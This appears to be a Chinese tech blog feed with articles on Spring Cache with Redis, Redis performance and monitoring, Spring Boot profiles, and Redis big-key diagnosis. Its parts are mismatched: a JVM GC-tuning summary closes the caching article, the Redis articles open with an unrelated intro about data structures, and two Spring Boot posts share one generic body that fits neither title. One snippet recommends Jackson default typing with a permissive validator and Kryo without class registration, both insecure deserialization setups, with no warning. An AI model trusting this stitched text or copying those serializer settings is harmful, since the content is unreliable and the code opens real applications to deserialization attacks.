        // 序列化方式
        RedisSerializer<String> keySerializer = new StringRedisSerializer();
        GenericJackson2JsonRedisSerializer valueSerializer = 
            new GenericJackson2JsonRedisSerializer();
        
        // 缓存配置
        RedisCacheConfiguration defaultConfig = RedisCacheConfiguration.defaultCacheConfig()
            .entryTtl(Duration.ofMinutes(30))  // 默认过期时间
            .serializeKeysWith(RedisSerializationContext.SerializationPair.fromSerializer(keySerializer))
            .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(valueSerializer))
            .disableCachingNullValues();  // 不缓存null
        
        // 针对不同cacheName的配置
        Map<String, RedisCacheConfiguration> configMap = new HashMap<>();
        configMap.put("user", defaultConfig.entryTtl(Duration.ofHours(1)));
        configMap.put("product", defaultConfig.entryTtl(Duration.ofMinutes(10)));
        configMap.put("session", defaultConfig.entryTtl(Duration.ofMinutes(30)));
        
        return RedisCacheManager.builder(connectionFactory)
            .cacheDefaults(defaultConfig)
            .withInitialCacheConfigurations(configMap)
            .transactionAware()
            .build();
    }
}

三、序列化配置

#

3.1 JSON序列化（推荐）

@Bean
public RedisCacheConfiguration cacheConfiguration() {
    return RedisCacheConfiguration.defaultCacheConfig()
        .serializeValuesWith(
            RedisSerializationContext.SerializationPair.fromSerializer(
                new GenericJackson2JsonRedisSerializer()
            )
        );
}

#

3.2 自定义ObjectMapper

@Bean
public RedisCacheConfiguration cacheConfiguration() {
    ObjectMapper objectMapper = new ObjectMapper();
    objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    objectMapper.activateDefaultTyping(
        LaissezFaireSubTypeValidator.instance,
        ObjectMapper.DefaultTyping.NON_FINAL
    );
    objectMapper.registerModule(new JavaTimeModule());
    objectMapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);
    
    GenericJackson2JsonRedisSerializer serializer = 
        new GenericJackson2JsonRedisSerializer(objectMapper);
    
    return RedisCacheConfiguration.defaultCacheConfig()
        .serializeValuesWith(
            RedisSerializationContext.SerializationPair.fromSerializer(serializer)
        );
}

#

3.3 Kryo序列化（高性能）

public class KryoRedisSerializer<T> implements RedisSerializer<T> {
    
    private final Kryo kryo = new Kryo();
    
    public KryoRedisSerializer() {
        kryo.setRegistrationRequired(false);
    }
    
    @Override
    public byte[] serialize(T t) throws SerializationException {
        if (t == null) return new byte[0];
        
        Output output = new Output(1024, -1);
        kryo.writeClassAndObject(output, t);
        return output.toBytes();
    }
    
    @Override
    @SuppressWarnings("unchecked")
    public T deserialize(byte[] bytes) throws SerializationException {
        if (bytes == null || bytes.length == 0) return null;
        
        Input input = new Input(bytes);
        return (T) kryo.readClassAndObject(input);
    }
}

四、高级使用

#

4.1 条件缓存

@Service
public class ProductService {
    
    // 只有价格大于100才缓存
    @Cacheable(value = "product", key = "#id", condition = "#result != null and #result.price > 100")
    public Product getProduct(Long id) {
        return productMapper.findById(id);
    }
    
    // 除非价格为0，否则更新缓存
    @CachePut(value = "product", key = "#product.id", unless = "#product.price == 0")
    public Product updateProduct(Product product) {
        productMapper.update(product);
        return product;
    }
}

#

4.2 SpEL表达式

@Service
public class OrderService {
    
    // 使用多个参数作为key
    @Cacheable(value = "order", key = "#userId + ':' + #status")
    public List<Order> getOrders(Long userId, String status) {
        return orderMapper.findByUserIdAndStatus(userId, status);
    }
    
    // 使用对象属性
    @Cacheable(value = "order", key = "#query.userId + ':' + #query.status")
    public List<Order> searchOrders(OrderQuery query) {
        return orderMapper.search(query);
    }
    
    // 使用方法名
    @Cacheable(value = "order", key = "#root.methodName + ':' + #id")
    public Order getOrder(Long id) {
        return orderMapper.findById(id);
    }
}

#

4.3 自定义Key生成器

@Component
public class CustomKeyGenerator implements KeyGenerator {
    
    @Override
    public Object generate(Object target, Method method, Object... params) {
        StringBuilder sb = new StringBuilder();
        sb.append(target.getClass().getSimpleName()).append(":");
        sb.append(method.getName()).append(":");
        
        for (Object param : params) {
            if (param != null) {
                sb.append(param.toString()).append(":");
            }
        }
        
        return sb.toString();
    }
}

// 使用
@Cacheable(value = "user", keyGenerator = "customKeyGenerator")
public User getUser(Long id) {
    return userMapper.findById(id);
}

五、多级缓存

#

5.1 Caffeine + Redis

@Configuration
public class MultiLevelCacheConfig {
    
    @Bean
    public CacheManager cacheManager(RedisConnectionFactory connectionFactory) {
        // Redis CacheManager
        RedisCacheManager redisCacheManager = RedisCacheManager.builder(connectionFactory)
            .cacheDefaults(RedisCacheConfiguration.defaultCacheConfig()
                .entryTtl(Duration.ofMinutes(10)))
            .build();
        
        // Caffeine CacheManager
        CaffeineCacheManager caffeineCacheManager = new CaffeineCacheManager();
        caffeineCacheManager.setCaffeine(Caffeine.newBuilder()
            .maximumSize(1000)
            .expireAfterWrite(Duration.ofMinutes(1)));
        
        // 组合CacheManager
        return new CompositeCacheManager(caffeineCacheManager, redisCacheManager);
    }
}

#

5.2 自定义多级缓存

@Component
public class MultiLevelCacheService {
    
    @Autowired
    private CacheManager cacheManager;
    
    public <T> T get(String cacheName, Object key, Class<T> type, Supplier<T> loader) {
        // L1: Caffeine
        Cache caffeineCache = cacheManager.getCache("caffeine-" + cacheName);
        Cache.ValueWrapper l1Value = caffeineCache.get(key);
        if (l1Value != null) {
            return (T) l1Value.get();
        }
        
        // L2: Redis
        Cache redisCache = cacheManager.getCache("redis-" + cacheName);
        Cache.ValueWrapper l2Value = redisCache.get(key);
        if (l2Value != null) {
            T value = (T) l2Value.get();
            // 回填L1
            caffeineCache.put(key, value);
            return value;
        }
        
        // L3: 数据库
        T value = loader.get();
        if (value != null) {
            redisCache.put(key, value);
            caffeineCache.put(key, value);
        }
        
        return value;
    }
}

六、缓存失效策略

#

6.1 基于注解的失效

@Service
public class UserService {
    
    @Cacheable(value = "user", key = "#id")
    public User getUser(Long id) {
        return userMapper.findById(id);
    }
    
    // 更新时失效相关缓存
    @Caching(
        put = @CachePut(value = "user", key = "#user.id"),
        evict = {
            @CacheEvict(value = "user:list", allEntries = true),
            @CacheEvict(value = "user:stats", key = "#user.id")
        }
    )
    public User updateUser(User user) {
        userMapper.update(user);
        return user;
    }
}

#

6.2 定时刷新

@Component
public class CacheRefreshScheduler {
    
    @Autowired
    private UserService userService;
    @Autowired
    private CacheManager cacheManager;
    
    @Scheduled(fixedRate = 300000)  // 每5分钟
    public void refreshHotUsers() {
        List<Long> hotUserIds = Arrays.asList(1L, 2L, 3L, 4L, 5L);
        
        for (Long id : hotUserIds) {
            // 强制刷新缓存
            Cache cache = cacheManager.getCache("user");
            User user = userService.getUserFromDB(id);
            if (user != null) {
                cache.put(id, user);
            }
        }
    }
}

七、常见问题

#

7.1 缓存穿透

// 使用unless避免缓存null
@Cacheable(value = "user", key = "#id", unless = "#result == null")
public User getUser(Long id) {
    return userMapper.findById(id);
}

// 或使用自定义CacheManager配置
RedisCacheConfiguration config = RedisCacheConfiguration.defaultCacheConfig()
    .disableCachingNullValues();  // 不缓存null

#

7.2 缓存雪崩

// 使用随机过期时间
@Bean
public RedisCacheConfiguration cacheConfiguration() {
    return RedisCacheConfiguration.defaultCacheConfig()
        .entryTtl(Duration.ofMinutes(30 + ThreadLocalRandom.current().nextInt(10)));
}

#

7.3 缓存击穿

// Spring Cache本身不提供互斥锁
// 需要结合分布式锁
@Service
public class UserService {
    
    @Autowired
    private RedissonClient redisson;
    
    @Cacheable(value = "user", key = "#id")
    public User getUser(Long id) {
        RLock lock = redisson.getLock("lock:user:" + id);
        try {
            lock.lock(10, TimeUnit.SECONDS);
            return userMapper.findById(id);
        } finally {
            lock.unlock();
        }
    }
}

八、监控

#

8.1 缓存命中率监控

@Component
public class CacheMetrics {
    
    @Autowired
    private CacheManager cacheManager;
    @Autowired
    private MeterRegistry meterRegistry;
    
    @PostConstruct
    public void init() {
        for (String cacheName : cacheManager.getCacheNames()) {
            Cache cache = cacheManager.getCache(cacheName);
            if (cache instanceof CaffeineCache) {
                com.github.benmanes.caffeine.cache.Cache nativeCache = 
                    ((CaffeineCache) cache).getNativeCache();
                
                meterRegistry.gauge("cache.size", 
                    Tags.of("name", cacheName), 
                    nativeCache, 
                    c -> c.estimatedSize());
                
                meterRegistry.gauge("cache.hit.rate", 
                    Tags.of("name", cacheName), 
                    nativeCache, 
                    c -> c.stats().hitRate());
            }
        }
    }
}

九、总结

特性配置方式
过期时间entryTtl
序列化serializeKeysWith/serializeValuesWith
Null缓存disableCachingNullValues
Key前缀prefixCacheNameWith
事务transactionAware

Spring Cache + Redis的核心价值：

  1. 声明式缓存：通过注解简化缓存操作
  2. 统一抽象：切换缓存实现不影响业务代码
  3. 灵活配置：支持过期时间、序列化等自定义
  4. 多级缓存：可结合本地缓存提升性能

使用建议：

  1. 合理设计缓存key，避免冲突
  2. 设置合适的过期时间
  3. 注意缓存一致性，及时失效
  4. 监控缓存命中率
  5. 复杂场景考虑自定义缓存实现

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> Redis Spring Redis 缓存 Spring Boot 统一异常处理实践 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ Spring Boot 统一异常处理实践

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Redis性能优化与监控 //redis-performance-optimization-monitoring/ Redis性能优化与监控

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、性能基准

#

1.1 Redis性能指标

指标优秀良好需优化
QPS> 10000050000-100000< 50000
平均延迟< 1ms1-5ms> 5ms
P99延迟< 5ms5-20ms> 20ms
内存使用率< 70%70-85%> 85%
缓存命中率> 95%90-95%< 90%

#

1.2 测试性能

# redis-benchmark测试
redis-benchmark -h localhost -p 6379 -c 50 -n 100000

# 参数说明：
# -c 50: 50个并发连接
# -n 100000: 10万次请求

# 测试特定命令
redis-benchmark -t set,get -n 100000

# 测试大value
redis-benchmark -t set,get -d 1024 -n 100000

二、命令优化

#

2.1 避免慢查询

# 查看慢查询配置
redis-cli CONFIG GET slowlog*

# 设置慢查询阈值（微秒）
redis-cli CONFIG SET slowlog-log-slower-than 10000  # 10ms

# 查看慢查询日志
redis-cli SLOWLOG GET 10

# 清空慢查询日志
redis-cli SLOWLOG RESET

#

2.2 避免阻塞命令

命令问题替代方案
KEYS全表扫描，O(n)SCAN
FLUSHALL/FLUSHDB删除所有数据FLUSHALL ASYNC
DEL 大Key阻塞UNLINK
HGETALL 大Hash返回大量数据HSCAN
SMEMBERS 大Set返回大量数据SSCAN
ZRANGE 大ZSet范围查询大限制范围
LRANGE 大List范围查询大限制范围

#

2.3 使用高效命令

# 不好的做法
MSET key1 value1
MSET key2 value2
MSET key3 value3

# 好的做法
MSET key1 value1 key2 value2 key3 value3

# 不好的做法：多次HGET
HGET user:1001 name
HGET user:1001 age
HGET user:1001 city

# 好的做法：一次HMGET
HMGET user:1001 name age city

#

2.4 Pipeline优化

// 批量操作使用Pipeline
redis.executePipelined((RedisCallback<Object>) connection -> {
    for (int i = 0; i < 1000; i++) {
        connection.stringCommands().set(
            ("key" + i).getBytes(), 
            ("value" + i).getBytes()
        );
    }
    return null;
});

三、内存优化

#

3.1 数据编码优化

# 控制ziplist编码的使用条件
hash-max-ziplist-entries 512
hash-max-ziplist-value 64

list-max-ziplist-size -2
set-max-intset-entries 512
zset-max-ziplist-entries 128
zset-max-ziplist-value 64

#

3.2 使用Hash存储对象

// String方式（JSON序列化）
redis.opsForValue().set("user:1001", json);  // 可能有冗余字段名

// Hash方式（更省空间）
Map<String, String> userMap = new HashMap<>();
userMap.put("name", "Alice");
userMap.put("age", "25");
redis.opsForHash().putAll("user:1001", userMap);

#

3.3 数据压缩

// 使用Snappy压缩value
public String compress(String data) {
    try {
        return Base64.getEncoder().encodeToString(Snappy.compress(data.getBytes()));
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}

public String decompress(String compressed) {
    try {
        return new String(Snappy.uncompress(Base64.getDecoder().decode(compressed)));
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}

#

3.4 合理设置过期时间

// 不要所有key设置相同的过期时间
// 添加随机偏移，避免同时过期
int ttl = 3600 + ThreadLocalRandom.current().nextInt(300);
redis.opsForValue().set(key, value, ttl, TimeUnit.SECONDS);

四、连接优化

#

4.1 使用连接池

# Lettuce连接池配置
spring:
  redis:
    lettuce:
      pool:
        max-active: 50        # 最大连接数
        max-idle: 20          # 最大空闲连接
        min-idle: 5           # 最小空闲连接
        max-wait: 3000ms      # 获取连接最大等待时间

#

4.2 避免频繁创建连接

// 不好的做法：每次操作创建新连接
public void badPractice() {
    Jedis jedis = new Jedis("localhost", 6379);  // 创建连接
    jedis.set("key", "value");
    jedis.close();  // 关闭连接
}

// 好的做法：使用连接池
@Autowired
private StringRedisTemplate redis;

public void goodPractice() {
    redis.opsForValue().set("key", "value");  // 复用连接
}

#

4.3 Cluster模式下的连接优化

// 配置集群拓扑刷新
@Bean
public LettuceConnectionFactory redisConnectionFactory() {
    RedisClusterConfiguration config = new RedisClusterConfiguration();
    // ... 配置节点
    
    ClientOptions clientOptions = ClientOptions.builder()
        .timeoutOptions(TimeoutOptions.enabled(Duration.ofSeconds(3)))
        .build();
    
    ClusterTopologyRefreshOptions topologyRefreshOptions = 
        ClusterTopologyRefreshOptions.builder()
            .enablePeriodicRefresh(Duration.ofSeconds(30))
            .enableAllAdaptiveRefreshTriggers()
            .build();
    
    ClusterClientOptions clusterClientOptions = ClusterClientOptions.builder()
        .topologyRefreshOptions(topologyRefreshOptions)
        .build();
    
    LettuceClientConfiguration clientConfig = LettuceClientConfiguration.builder()
        .clientOptions(clusterClientOptions)
        .build();
    
    return new LettuceConnectionFactory(config, clientConfig);
}

五、持久化优化

#

5.1 RDB优化

# 减少RDB频率（如果数据可重建）
save 900 1
save 300 10
save 60 10000

# 使用无磁盘复制
repl-diskless-sync yes

#

5.2 AOF优化

# 使用everysec（平衡性能和安全）
appendfsync everysec

# 开启AOF重写
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb

# 使用混合持久化（Redis 4.0+）
aof-use-rdb-preamble yes

#

5.3 避免fork阻塞

# 监控fork耗时
redis-cli INFO stats | grep latest_fork_usec

# 如果fork耗时过长：
# 1. 控制Redis内存大小（建议不超过10GB）
# 2. 使用更快的存储（SSD）
# 3. 关闭透明大页
echo never > /sys/kernel/mm/transparent_hugepage/enabled

六、系统级优化

#

6.1 内核参数优化

# /etc/sysctl.conf

# TCP连接优化
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535

# 内存分配优化
vm.overcommit_memory = 1

# 禁用透明大页
echo never > /sys/kernel/mm/transparent_hugepage/enabled

#

6.2 网络优化

# 网卡中断亲和性
# 将Redis进程绑定到特定CPU核心
taskset -c 0 redis-server /etc/redis/redis.conf

#

6.3 文件描述符

# 查看当前限制
ulimit -n

# 修改限制
# /etc/security/limits.conf
redis soft nofile 65535
redis hard nofile 65535

七、监控方案

#

7.1 Redis INFO监控

# 关键监控指标
redis-cli INFO stats

# 重点指标：
# total_connections_received: 总连接数
# total_commands_processed: 总命令数
# instantaneous_ops_per_sec: 每秒操作数
# rejected_connections: 拒绝的连接数
# expired_keys: 过期的key数
# evicted_keys: 被淘汰的key数
# keyspace_hits: 命中次数
# keyspace_misses: 未命中次数

#

7.2 Prometheus + Grafana

# docker-compose.yml
version: '3'
services:
  redis-exporter:
    image: oliver006/redis_exporter:latest
    environment:
      - REDIS_ADDR=redis://redis:6379
    ports:
      - "9121:9121"
  
  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml
    ports:
      - "9090:9090"
  
  grafana:
    image: grafana/grafana:latest
    ports:
      - "3000:3000"
# prometheus.yml
scrape_configs:
  - job_name: 'redis'
    static_configs:
      - targets: ['redis-exporter:9121']

#

7.3 关键告警规则

# redis_alerts.yml
groups:
  - name: redis
    rules:
      - alert: RedisDown
        expr: redis_up == 0
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "Redis实例宕机"
          
      - alert: RedisHighMemoryUsage
        expr: redis_memory_used_bytes / redis_memory_max_bytes > 0.85
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Redis内存使用率超过85%"
          
      - alert: RedisHighConnections
        expr: redis_connected_clients / redis_config_maxclients > 0.8
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Redis连接数超过80%"
          
      - alert: RedisCacheHitRateLow
        expr: rate(redis_keyspace_hits_total[5m]) / (rate(redis_keyspace_hits_total[5m]) + rate(redis_keyspace_misses_total[5m])) < 0.9
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "Redis缓存命中率低于90%"
          
      - alert: RedisReplicationLag
        expr: redis_master_link_up == 1 and redis_master_last_io_seconds_ago > 10
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Redis复制延迟超过10秒"

#

7.4 自定义监控

@Component
public class RedisMetrics {
    
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private MeterRegistry meterRegistry;
    
    @Scheduled(fixedRate = 60000)
    public void collectMetrics() {
        Properties info = redis.execute((RedisCallback<Properties>) 
            connection -> connection.serverCommands().info("stats"));
        
        if (info != null) {
            String hits = info.getProperty("keyspace_hits");
            String misses = info.getProperty("keyspace_misses");
            
            if (hits != null && misses != null) {
                long total = Long.parseLong(hits) + Long.parseLong(misses);
                double hitRate = total > 0 ? Double.parseDouble(hits) / total : 0;
                meterRegistry.gauge("redis.cache.hit.rate", hitRate);
            }
        }
    }
}

八、性能排查流程

发现性能问题
    │
    ├── 查看QPS和延迟
    │       ├── QPS低 → 检查应用连接池
    │       └── QPS正常但延迟高 → 继续
    │
    ├── 查看慢查询日志
    │       ├── 有慢查询 → 优化命令
    │       └── 无慢查询 → 继续
    │
    ├── 查看内存使用
    │       ├── 内存高 → 优化内存/淘汰策略
    │       └── 内存正常 → 继续
    │
    ├── 查看持久化状态
    │       ├── fork耗时高 → 优化fork
    │       └── 正常 → 继续
    │
    ├── 查看网络
    │       ├── 带宽饱和 → 优化网络/压缩
    │       └── 正常 → 继续
    │
    └── 查看系统资源
            ├── CPU高 → 优化命令复杂度
            ├── 磁盘IO高 → 优化持久化
            └── 网络延迟高 → 优化网络

九、总结

优化方向具体措施效果
命令优化避免慢查询，使用批量命令显著提升
内存优化ziplist编码，Hash存储对象节省内存
连接优化连接池，避免频繁创建提升吞吐
持久化优化合理配置RDB/AOF减少阻塞
系统优化内核参数，关闭THP稳定性能

Redis性能优化的核心原则：

  1. 预防为主：设计时考虑性能
  2. 监控先行：建立完善的监控体系
  3. 渐进优化：小步快跑，验证效果
  4. 全局视角：从应用到系统全面考虑

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Spring Boot 配置分环境的标准做法 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ Spring Boot 配置分环境的标准做法

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Redis大Key问题诊断 //redis-bigkey-diagnosis/ Redis大Key问题诊断

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、什么是大Key

#

1.1 大Key的定义

数据类型大Key标准
Stringvalue > 10KB
Hash元素数 > 5000 或 总大小 > 1MB
List元素数 > 5000 或 总大小 > 1MB
Set元素数 > 5000 或 总大小 > 1MB
ZSet元素数 > 5000 或 总大小 > 1MB

注意：具体标准需要根据业务场景和Redis性能调整。

#

1.2 大Key的危害

1. 阻塞Redis（单线程）
   DEL bigkey          → 阻塞数秒甚至数十秒
   HGETALL bighash     → 返回大量数据，阻塞
   
2. 内存不均衡（Cluster）
   某个节点有大Key    → 该节点内存使用远高于其他节点
   
3. 网络拥塞
   传输大Key          → 带宽占用高，其他请求延迟增加
   
4. 主从复制延迟
   同步大Key          → 主从复制长时间阻塞

二、大Key识别

#

2.1 redis-cli –bigkeys

# 扫描大Key（在线执行，会消耗一定性能）
redis-cli --bigkeys

# 输出示例：
# -------- summary -------
# Sampled 502 keys in the keyspace!
# Total key length in bytes is 3452 (avg len 6.88)
# Biggest string found 'user:10001' has 1048576 bytes
# Biggest hash found 'config:app' has 5020 fields
# Biggest list found 'logs:2024' has 85432 items

特点：

  • 在线扫描，不会阻塞
  • 使用SCAN渐进遍历
  • 只能找到每种类型的最大key

#

2.2 MEMORY命令

# 查看单个key的内存使用
redis-cli MEMORY USAGE mykey
# (integer) 1048576

# 查看key的内存使用详情
redis-cli MEMORY USAGE mykey SAMPLES 50

# 查看key的编码和序列化长度
redis-cli DEBUG OBJECT mykey
# Value at:0x7f... refcount:1 encoding:raw serializedlength:1048576 lru:... lru_seconds_idle:0

#

2.3 rdbtools分析

# 安装rdbtools
pip install rdbtools python-lzf

# 分析RDB文件
rdb -c memory dump.rdb > memory.csv

# 查看内存占用最大的key
sort -t, -k4 -nr memory.csv | head -20

# CSV格式：
# database,type,key,size_in_bytes,encoding,num_elements,len_largest_element
# 0,string,user:10001,1048576,string,1,1048576
# 0,hash,config:app,524288,hashtable,5020,1024

#

2.4 自定义扫描脚本

#!/bin/bash
# find_bigkeys.sh

THRESHOLD=10240  # 10KB

echo "Scanning for keys larger than ${THRESHOLD} bytes..."

redis-cli --scan | while read key; do
    size=$(redis-cli MEMORY USAGE "$key" 2>/dev/null)
    if [ -n "$size" ] && [ "$size" -gt "$THRESHOLD" ]; then
        type=$(redis-cli TYPE "$key")
        echo "Key: $key, Type: $type, Size: $size bytes"
    fi
done

#

2.5 Java识别大Key

@Component
public class BigKeyScanner {
    
    @Autowired
    private StringRedisTemplate redis;
    
    public void scanBigKeys(int thresholdKb) {
        ScanOptions options = ScanOptions.scanOptions()
            .match("*")
            .count(100)
            .build();
        
        Cursor<byte[]> cursor = redis.executeWithStickyConnection(
            connection -> connection.scan(options)
        );
        
        while (cursor.hasNext()) {
            String key = new String(cursor.next());
            Long size = redis.execute((RedisCallback<Long>) connection ->
                connection.memoryCommands().memoryUsage(key.getBytes())
            );
            
            if (size != null && size > thresholdKb * 1024L) {
                String type = redis.type(key);
                System.out.printf("BigKey found: key=%s, type=%s, size=%d bytes%n", 
                    key, type, size);
            }
        }
    }
}

三、大Key分析

#

3.1 分析Hash大Key

# 查看Hash的字段数量
redis-cli HLEN bighash

# 查看Hash的编码（ziplist vs hashtable）
redis-cli DEBUG OBJECT bighash
# encoding:ziplist 或 encoding:hashtable

# 查看字段大小分布
redis-cli HKEYS bighash | head -10
redis-cli HGET bighash field1 | wc -c

#

3.2 分析List大Key

# 查看List长度
redis-cli LLEN biglist

# 查看部分元素
redis-cli LRANGE biglist 0 10

# 查看元素大小
redis-cli LINDEX biglist 0 | wc -c

#

3.3 分析Set/ZSet大Key

# 查看元素数量
redis-cli SCARD bigset
redis-cli ZCARD bigzset

# 查看编码
redis-cli DEBUG OBJECT bigset
# encoding:intset 或 encoding:hashtable

#

3.4 分析String大Key

# 查看大小
redis-cli STRLEN bigstring

# 查看编码
redis-cli DEBUG OBJECT bigstring
# encoding:raw 或 encoding:embstr

四、大Key治理方案

#

4.1 String大Key拆分

// 原始：一个String存储大JSON
// key: user:1001, value: 1MB JSON

// 拆分：使用Hash存储
// key: user:1001, fields: 多个小字段

@Service
public class BigKeySplitService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    // 将大String拆分为Hash
    public void splitBigStringToHash(String key) {
        String bigJson = redis.opsForValue().get(key);
        if (bigJson == null) return;
        
        User user = JSON.parseObject(bigJson, User.class);
        
        // 拆分为Hash字段
        Map<String, String> hash = new HashMap<>();
        hash.put("name", user.getName());
        hash.put("email", user.getEmail());
        hash.put("phone", user.getPhone());
        // ... 其他字段
        
        String hashKey = key.replace("user:", "user:hash:");
        redis.opsForHash().putAll(hashKey, hash);
        
        // 删除原大key
        redis.delete(key);
    }
}

#

4.2 Hash大Key拆分

// 原始：一个Hash有10000个字段
// key: article:tags, fields: 10000个文章ID -> 标签

// 拆分：按范围分片
@Service
public class HashShardService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    private static final int SHARD_COUNT = 10;
    
    public void addTag(Long articleId, String tag) {
        int shard = (int) (articleId % SHARD_COUNT);
        String key = "article:tags:" + shard;
        redis.opsForHash().put(key, String.valueOf(articleId), tag);
    }
    
    public String getTag(Long articleId) {
        int shard = (int) (articleId % SHARD_COUNT);
        String key = "article:tags:" + shard;
        return (String) redis.opsForHash().get(key, String.valueOf(articleId));
    }
}

#

4.3 List大Key拆分

// 原始：一个List有100000个元素
// key: logs:2024

// 拆分：按时间分片
@Service
public class ListShardService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    public void addLog(String log) {
        String key = "logs:" + LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);
        redis.opsForList().leftPush(key, log);
        
        // 每个List最多保留10000条
        redis.opsForList().trim(key, 0, 9999);
        
        // 设置过期时间
        redis.expire(key, 30, TimeUnit.DAYS);
    }
}

#

4.4 Set/ZSet大Key拆分

// 原始：一个ZSet有100000个元素
// key: leaderboard:global

// 拆分：按范围分片
@Service
public class ZSetShardService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    private static final int SHARD_COUNT = 10;
    
    public void addScore(Long userId, double score) {
        int shard = (int) (userId % SHARD_COUNT);
        String key = "leaderboard:" + shard;
        redis.opsForZSet().add(key, String.valueOf(userId), score);
    }
    
    // 获取全局前10需要合并多个ZSet
    public Set<ZSetOperations.TypedTuple<String>> getGlobalTop10() {
        // 使用ZUNIONSTORE合并
        String tempKey = "leaderboard:temp:" + System.currentTimeMillis();
        String[] keys = new String[SHARD_COUNT];
        for (int i = 0; i < SHARD_COUNT; i++) {
            keys[i] = "leaderboard:" + i;
        }
        
        redis.opsForZSet().unionAndStore(keys[0], Arrays.asList(keys), tempKey);
        Set<ZSetOperations.TypedTuple<String>> result = 
            redis.opsForZSet().reverseRangeWithScores(tempKey, 0, 9);
        redis.delete(tempKey);
        
        return result;
    }
}

五、大Key删除

#

5.1 渐进式删除

# 不好的做法：直接删除大Key（会阻塞）
DEL bigkey

# 好的做法：渐进删除

# String：直接删除（String删除快）
DEL bigstring

# Hash：使用HSCAN渐进删除
HSCAN bighash 0 COUNT 100
HDEL bighash field1 field2 ...

# List：使用LTRIM或LPOP/RPOP
# 方式1：逐步弹出
while (LLEN biglist > 0) {
    LPOP biglist
    // 或一次弹出多个
    LRANGE biglist 0 99
    LTRIM biglist 100 -1
}

# 方式2：直接改名后异步删除
RENAME biglist biglist:tobedeleted
# 然后用上述方式逐步删除

# Set：使用SSCAN渐进删除
SSCAN bigset 0 COUNT 100
SREM bigset member1 member2 ...

# ZSet：使用ZSCAN渐进删除
ZSCAN bigzset 0 COUNT 100
ZREM bigzset member1 member2 ...

#

5.2 使用UNLINK异步删除

# Redis 4.0+ 支持UNLINK
# UNLINK在后台线程中删除，不会阻塞

UNLINK bigkey

# 检查后台删除进度
redis-cli INFO stats | grep lazyfree_pending_objects

#

5.3 Java渐进删除

@Service
public class ProgressiveDeleteService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    // 渐进删除Hash
    public void progressiveDeleteHash(String key, int batchSize) {
        ScanOptions options = ScanOptions.scanOptions()
            .match("*")
            .count(batchSize)
            .build();
        
        Cursor<Map.Entry<Object, Object>> cursor = 
